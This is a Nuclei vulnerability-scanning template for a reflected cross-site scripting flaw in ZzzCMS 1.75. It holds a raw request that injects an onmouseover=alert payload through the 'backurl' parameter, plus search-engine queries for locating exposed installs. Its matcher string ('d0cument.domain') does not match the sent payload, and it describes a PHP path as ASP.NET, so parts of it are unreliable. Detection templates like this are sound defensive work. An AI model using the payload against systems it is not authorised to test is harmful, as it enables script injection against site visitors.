id: zzzcms-xss

info:
  name: Zzzcms 1.75 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: ZzzCMS ( A Lightweight ASP.NET content management system ) is vulnerable to XSS( Cross-Site Scripting ).
  reference:
    - https://github.com/Ares-X/VulWiki/blob/master/Web%E5%AE%89%E5%85%A8/Zzzcms/Zzzcms%201.75%20xss%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:zzzcms:zzzcms:*:*:*:*:*:*:*:*
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ZzzCMS"
    fofa-query: title="ZzzCMS"
    product: zzzcms
    vendor: zzzcms
  tags: zzzcms,xss,vuln

http:
  - raw:
      - |
        GET /plugins/template/login.php?backurl=1%20onmouseover%3dalert(/document.domain/)%20y%3d HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover=alert(/d0cument.domain/) y=&act'
          - 'document.write("'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a636f5485e6bc6e15368fed96b2b3aebfd4e19ddc500840aeb0fc4c3b139576102202e31ec8c5a7c694ffdb8c697da75d52da6b80f2a7ee307b7471b4ff626d46d6e:922c64590222798bb761d5b6d8e72950